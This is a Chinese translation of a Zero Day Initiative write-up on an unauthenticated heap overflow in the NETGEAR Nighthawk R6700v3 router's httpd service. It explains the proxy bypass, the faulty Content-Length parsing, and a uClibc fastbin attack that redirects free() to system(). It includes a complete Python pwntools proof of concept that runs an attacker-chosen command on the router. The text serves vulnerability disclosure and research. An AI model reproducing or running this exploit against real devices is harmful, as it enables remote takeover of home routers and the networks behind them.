在Pwn2Own Tokyo 2019上,无线路由器被引入成为一种新的破解设备。比赛期间针对的路由器之一是NETGEAR Nighthawk R6700v3。在还没有参加比赛前,我已经开始对设备做挖掘寻找漏洞。除了在比赛中发现的内容之外,我还发现了路由器中的堆溢出漏洞,该漏洞可能允许恶意第三方从局域网控制设备。在本文中,我将详细讨论该漏洞,并提供一个漏洞PoC,该漏洞对于任何运行固件版本V1.0.4.84_10.0.58的路由器都可用。
该漏洞存在于/usr/bin/httpd受影响的设备上运行的httpd服务()中。未经身份验证的攻击者可以在连接到本地网络时向HTTPd Web服务发送特制的HTTP请求,这可能导致目标系统上的远程代码执行。成功利用此漏洞可能会完全破坏一个易受攻击的系统。文件上传函数在处理导入的配置文件时存在堆溢出漏洞。
0x01 漏洞描述
首先,我将简要讨论路由器上HTTP请求处理的设计。关于设计,Web服务不会直接在端口80上侦听。但是,还有另一个进程充当代理并在端口80上侦听。此过程是NGINX代理,我还没有深入研究它,所以我不确定它是否是常用的NGINX Web服务器的版本,我将在下面解释有关其函数的更多详细信息。
接下来,当HTTP请求到达httpd服务时,主要处理函数为sub_159E8()。该函数的执行流程如下:
图1-sub_159E8函数的执行流程
首先,程序从套接字读取HTTP请求。然后,它执行检查以确定HTTP请求是否采用文件上传请求的形式。如果此检查返回false,则sub_10DC4调用该函数。此函数负责解析HTTP请求,执行身份验证,调度请求等。相反,如果HTTP请求采用文件上传请求的形式,则将执行显示为X的代码部分。我们看到这sub_10DC4是处理请求的主要函数。代码部分X在该函数之外,因此这是我们应该感兴趣的领域,在此找到了我将在此博客中介绍的漏洞。
0x02 漏洞分析
如上所述,漏洞是通过HTTP上传触发的,上传请求由端点/backup.cgi处理。在测试此函数期间,我发现了两个影响此端点的独立问题。第一个涉及缺少身份验证检查,攻击者无需身份验证即可上传新的配置文件。但是,我们无法替换目标的凭据或更改目标系统的设置,因为在应用新的配置设置之前会进行身份验证检查。第二个问题是文件上传函数中的经典堆溢出漏洞。
易受攻击的函数将上传文件的内容复制到攻击者控制大小的基于堆的缓冲区中,以下是易受攻击的函数的伪代码:
图2-漏洞函数的伪代码
为了控制基于堆的缓冲区的大小,攻击者可以利用Content-Length标头,但这并不简单,让我们更深入地说明原因。
导入配置文件的HTTP请求如下:
图3-HTTP请求导入配置文件
HTTP请求必须满足几个条件。首先,URI必须包含以下字符串之一:backup.cgi,genierestore.cgi或upgrade_check.cgi。接下来,该请求必须是带有header的multipart / form-data请求name="mtenRestoreCfg。最后,文件名不能为空字符串。但是,根据设计,HTTP请求必须先传递到NGINX代理,然后再传递给httpd服务。NGNIX代理的policy_default.conf配置文件如下:
图4-NGINX配置
因此,为了绕过NGINX代理,我选择了以下URI:
图5-绕过代理的URI
在sub_159E8函数中进行文件上传的处理。从这里,程序从标题中提取Content-Length值:
图6-内容长度提取
上面的代码片段首先使用stristr函数在整个HTTP请求中定位Content-Length标头,然后通过该atoi函数的最小实现通过循环将标头的值从字符串提取并转换为整数:
图7-将字符串转换为整数的循环
但是,由于NGINX代理,我们不能直接将任意值传递给Content-Length标头。除了过滤请求之外,代理还重写请求。它确保该Content-Length值等于发布数据的大小,并将该Content-Length标头放置在请求的第一个标头中。因此,我们不能在另一个标题中伪造Content-Length标头。但是,提取Content-Length标头的逻辑是有缺陷的。它对stristr整个HTTP请求执行函数,而不仅仅是请求标头!这样,可以将Content-Length标头放在由httpd服务解释的URI中,如下所示:
图8-伪造Content-Length值的URI
由于请求行出现在具有上述URI的HTTP标头之前,因此传递到图7中的代码的字符串是111 HTTP/1.1。这样,我们可以完全控制Content-Length的值并触发整数溢出漏洞。
顺便说一句,关于atoi上面的图7 的实现,一个有趣的事情是,当它遇到非数字字符时,它不会停止。相反,它将继续直到找到换行序列为止,然后将找到的\r\n其他任何字符解析为十进制数字。要确定每个字符的数值,请从字符代码0中减去数字的ASCII字符代码。0通过解析数字时,此公式将产生期望值9。解析非数字字符时,它将产生无效的结果。例如,当解析空格字符(ASCII 0x20)时,它将计算其数字值是0x20 – 0x30或0xfffffff0。由于计算无效,该字符串111 HTTP/1.1在上面的示例中,最终的计算值是0x896ebfe9!为了控制该值,我使用了暴力破解的方法来替代各种Content-Length值并模拟atoi循环,直到找到合适的值为止。它产生的解为4156559 HTTP/1.1,其值为ffffffe9,是一个不错的大小合理的负值。
沿代码路径继续:
图9-整数溢出漏洞
首先,程序Content-Length使用无符号比较将0的值与0x20017进行比较。如果该值大于0x20017,则将执行地址0x17370处的汇编代码。然后,该值存储在dword_19A08与dword_19A104等于0,因为导入配置请求。接下来,程序检查存储在中的指针的值dword_1A870C。如果该值不等于零,则此指针所保存的内存将被释放。然后,程序通过调用malloc传递正值Content-Length0x258来分配用于存储文件内容的内存。结果存储在dword_1A870C中。因为我们可以完全控制Content-Length的值,所以可以通过将Content-Length值设置为负数来触发整数溢出漏洞。
接下来,程序将整个文件内容复制到上面分配的缓冲区中,这将导致堆溢出漏洞。
图10-堆缓冲区溢出漏洞
0x03 漏洞利用
在开发漏洞利用程序时,需要考虑以下几点:
-我们有一个堆溢出漏洞,该漏洞使我们可以向堆内存写入任意数据,包括空字节。
-由于ASLR的实现不佳,堆内存位于恒定地址。
-在系统中使用uClibc。这是glibc的最小libc版本,因此malloc和free函数具有简单的实现。 -调用memcpy()并实现堆溢出后,sub_21A58()将被调用以返回错误页面。在sub_21A58()中,fopen()是打开文件。在fopen()中,malloc()被调用两次,大小分别为0x60和0x1000,这些分配中的每一个都随后释放。总而言之,内存分配和释放的顺序如下:
图11 –内存分配操作序列
此外,我们可以发送一个导入字符串表请求调用在sub_95AF4()中的另外一个malloc和free。这是用于计算字符串表上传文件的校验和的函数。伪代码如下:
图12 – sub_95AF4()中的伪代码
导入字符串表的HTTP请求如下:
图13-导入字符串表HTTP请求
0x04 利用技术
堆缓冲区溢出使我们能够进行fastbin dup攻击。“ Fastbin dup”是一种攻击,它破坏了堆的状态,因此随后的调用将malloc返回选定的地址。一旦malloc返回选定地址,我们可以任意写数据到这个地址(写什么,在哪里)。覆盖GOT表然后产生远程代码执行。特别是,我们可以覆盖的GOT表的free(),将其重定向到system(),以便shell程序将执行包含攻击者提供的数据的缓冲区。
但是,在我们的情况下,进行fastbin dup攻击并不容易。回想一下,对于每个请求,都会malloc(0x1000)发生一个附加的调用。这会产生对__malloc_consolidate()函数的调用,从而破坏fastbin。
如上所述,系统使用uClibc库,因此free()和malloc()函数与glibc的实现完全不同。看一下free()函数:
图14 – uClibc中free()的实现
在第22行,请注意在访问fastbins数组时缺少边界检查,这可能导致越界写入fastbins数组。
检查malloc_statestruct和fastbin_index宏,它们都在malloc.h中定义:
图15-malloc_state结构和fastbin_index宏定义
该max_fast变量位于fastbins数组的紧前面。因此,如果我们将块的大小设置为8,则当释放该块时,fastbin_index(8)将返回值,-1并且max_fast将被大值(指针)覆盖。请注意,当堆正常运行时,块大小永远不会为8。这是因为作为块的一部分的元数据占用8个字节,因此大小为8表示用户数据为零字节。
一旦max_fast更改为较大的值,__malloc_consolidate()在期间将不再调用malloc(0x1000)。这使我们能够进行fastbin dup攻击。
概括而言,利用过程如下:
-发出触发堆溢出漏洞的请求,覆盖PREV_INUSE块的标志,从而错误地指示先前的块是空闲的。 -由于PREV_INUSE标志不正确,我们可以malloc()返回与实际现有块重叠的块。这使我们可以编辑现有块的元数据中的size字段,将其设置为无效值8
-当该块被释放并放置在fastbin上时,malloc_stats->max_fast将被较大的值覆盖。
-一旦malloc_stats->max_fast更改,__malloc_consolidate()将在调用期间不再被调用malloc(0x1000)。这使我们能够进行fastbin攻击。
-再次触发堆溢出漏洞,fd使用选定的目标地址覆盖free的fastbin块的(转发)指针。
-后续调用malloc()将返回我们选择的目标地址。我们可以使用它来将所选数据写入目标地址。
-使用此“在哪里写”原语写入address free_got_addr。我们写在那里的数据是system_plt_addr。-最后,在释放包含攻击者提供的字符串的缓冲区时,system()将调用而不是free(),从而生成远程代码执行。
堆内存的布局和分步利用过程在下面的PoC文件中。
#! /usr/bin/python2 # coding: utf-8 from pwn import * import copy import sys def post_request(path, headers, files): r = remote(rhost, rport) request = 'POST %s HTTP/1.1' % path request += '\r\n' request += '\r\n'.join(headers) request += '\r\nContent-Type: multipart/form-data; boundary=f8ffdd78dbe065014ef28cc53e4808cb\r\n' post_data = '--f8ffdd78dbe065014ef28cc53e4808cb\r\nContent-Disposition: form-data; name="%s"; filename="%s"\r\n\r\n' % (files['name'], files['filename']) post_data += files['filecontent'] request += 'Content-Length: %i\r\n\r\n' % len(post_data) request += post_data r.send(request) sleep(0.5) r.close() def make_filename(chunk_size): return 'a' * (0x1d7 - chunk_size) def exploit(): path = '/cgi-bin/genie.cgi?backup.cgiContent-Length: 4156559' headers = ['Host: %s:%s' % (rhost, rport), 'a'*0x200 + ': d4rkn3ss'] files = {'name': 'mtenRestoreCfg', 'filecontent': 'a'} print '[+] malloc 0x28 chunk' # 00:0000│ 0x103f000 ◂— 0x0 # 01:0004│ 0x103f004 ◂— 0x29 # 02:0008│ r0 0x103f008 <-- return here f = copy.deepcopy(files) f['filename'] = make_filename(0x20) post_request(path, headers, f) print '[+] malloc 0x18 chunk' # 00:0000│ 0x103f000 ◂— 0x0 # 01:0004│ 0x103f004 ◂— 0x29 /* ')' */ # 02:0008│ 0x103f008 # 03:000c│ 0x103f00c # ... ↓ # 0a:0028│ 0x103f028 # 0b:002c│ 0x103f02c ◂— 0x19 # 0c:0030│ r0 0x103f030 <-- return here f = copy.deepcopy(files) f['filename'] = make_filename(0x10) post_request(path, headers, f) print '[+] malloc 0x28 chunk and overwrite 0x18 chunk header to make overlap chunk' # 00:0000│ 0x103eb50 ◂— 0x0 # 01:0004│ 0x103eb54 ◂— 0x21 <-- recheck # ... ↓ # 12d:04b4│ 0x103f004 ◂— 0x29 /* ')' */ # 12e:04b8│ 0x103f008 ◂— 0x61616161 ('aaaa') <-- 0x28 chunk # ... ↓ # 136:04d8│ 0x103f028 ◂— 0x4d8 # 137:04dc│ 0x103f02c ◂— 0x18 # 138:04e0│ 0x103f030 ◂— 0x0 f = copy.deepcopy(files) f['filename'] = make_filename(0x20) f['filecontent'] = 'a' * 0x20 + p32(0x4d8) + p32(0x18) post_request(path, headers, f) print '[+] malloc 0x4b8 chunk and overwrite size of 0x28 chunk -> 0x9. Then, when __malloc_consolidate() function is called, __malloc_state->max_fast will be overwritten to a large value.' # 00:0000│ 0x103eb50 ◂— 0x0 # 01:0004│ 0x103eb54 ◂— 0x4f1 # ... ↓ # 12d:04b4│ 0x103f004 ◂— 0x9 # 12e:04b8│ 0x103f008 # ... ↓ # 136:04d8│ 0x103f028 ◂— 0x4d8 # 137:04dc│ 0x103f02c ◂— 0x18 # 138:04e0│ 0x103f030 ◂— 0x0 f = copy.deepcopy(files) f['name'] = 'StringFilepload' f['filename'] = 'a' * 0x100 f['filecontent'] = p32(0x4b0).ljust(0x10) + 'a' * 0x4ac + p32(0x9) post_request('/strtblupgrade.cgi.css', headers, f) print '[+] malloc 0x18 chunk' # 00:0000│ 0x10417a8 ◂— 0xdfc3a88e # 01:0004│ 0x10417ac ◂— 0x19 # 02:0008│ r0 0x10417b0 <-- return here f = copy.deepcopy(files) f['filename'] = make_filename(0x10) post_request(path, headers, f) print '[+] malloc 0x38 chunk' # 00:0000│ 0x103e768 ◂— 0x4 # 01:0004│ 0x103e76c ◂— 0x39 /* '9' */ # 02:0008│ r0 0x103e770 <-- return here f = copy.deepcopy(files) f['name'] = 'StringFilepload' f['filename'] = 'a' * 0x100 f['filecontent'] = p32(0x30).ljust(0x10) + 'a' post_request('/strtblupgrade.cgi.css', headers, f) print '[+] malloc 0x48 chunk' # 00:0000│ 0x103e768 ◂— 0x4 # 01:0004│ 0x103e76c ◂— 0x39 /* '9' */ # 02:0008│ r0 0x103e770 # ... ↓ # 0e:0038│ 0x103e7a0 # 0f:003c│ 0x103e7a4 ◂— 0x49 /* 'I' */ # 10:0040│ r0 0x103e7a8 <-- return here f = copy.deepcopy(files) f['name'] = 'StringFilepload' f['filename'] = 'a' * 0x100 f['filecontent'] = p32(0x40).ljust(0x10) + 'a' post_request('/strtblupgrade.cgi.css', headers, f) print '[+] malloc 0x38 chunk and overwrite fd pointer of 0x48 chunk' # 00:0000│ 0x103e768 ◂— 0x4 <-- 0x38 chunk # 01:0004│ 0x103e76c ◂— 0x39 /* '9' */ # 02:0008│ 0x103e770 ◂— 0x0 # 03:000c│ 0x103e774 ◂— 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaI' # ... ↓ # 0f:003c│ 0x103e7a4 ◂— 0x49 /* 'I' */ <-- 0x48 chunk # 10:0040│ 0x103e7a8 —▸ 0xf555c ([email protected]) free_got_addr = 0xF559C f = copy.deepcopy(files) f['filename'] = make_filename(0x30) f['filecontent'] = 'a' * 0x34 + p32(0x49) + p32(free_got_addr - 0x40) post_request(path, headers, f) print '[+] malloc 0x48 chunk' # 00:0000│ 0x103e7a0 ◂— 'aaaaI' # 01:0004│ 0x103e7a4 ◂— 0x49 /* 'I' */ # 02:0008│ r0 0x103e7a8 <-- return here f = copy.deepcopy(files) f['filename'] = make_filename(0x40) post_request(path, headers, f) print '[+] malloc 0x48 chunk. And overwrite free_got_addr' # 00:0000│ 0xf555c ([email protected]) —▸ 0x403b6894 (semop) ◂— push {r3, r4, r7, lr} # 01:0004│ 0xf5560 ([email protected]) —▸ 0xd998 ◂— str lr, [sp, #-4]! # 02:0008│ r0 0xf5564 ([email protected]) —▸ 0x403c593c (strstr) ◂— push {r4, lr} <-- return here system_addr = 0xDBF8 f = copy.deepcopy(files) f['name'] = 'StringFilepload' f['filename'] = 'a' * 0x100 f['filecontent'] = p32(0x40).ljust(0x10) + command.ljust(0x38, '') + p32(system_addr) post_request('/strtblupgrade.cgi.css', headers, f) print '[+] Done' if __name__ == '__main__': context.log_level = 'error' if (len(sys.argv) < 4): print 'Usage: %s ' % sys.argv[0] exit() rhost = sys.argv[1] rport = sys.argv[2] command = sys.argv[3] exploit()
0x05 缓解措施
在发布此博客时,供应商表示:“ NETGEAR计划发布固件更新,以修复在安全支持期内的所有受影响产品的这些漏洞。” 他们确实有一个Beta修复程序,可以从此处下载。
https://kb.netgear.com/000061993/R6700v3-Firmware-Version-1-0-4-94-Hot-Fix
鉴于漏洞的性质,唯一显着的缓解策略是将与服务的交互限于受信任的机器。只有与服务具有合法程序关系的客户端和服务器才应被允许与其通信。这可以通过多种方式来完成,最值得注意的是使用防火墙规则/白名单。在发布补丁之前,这是将设备使用中的风险降至最低的最佳建议。
本文翻译自:https://www.zerodayinitiative.com/blog/2020/6/24/zdi-20-709-heap-overflow-in-the-netgear-nighthawk-r6700-router如若转载,请注明原文地址: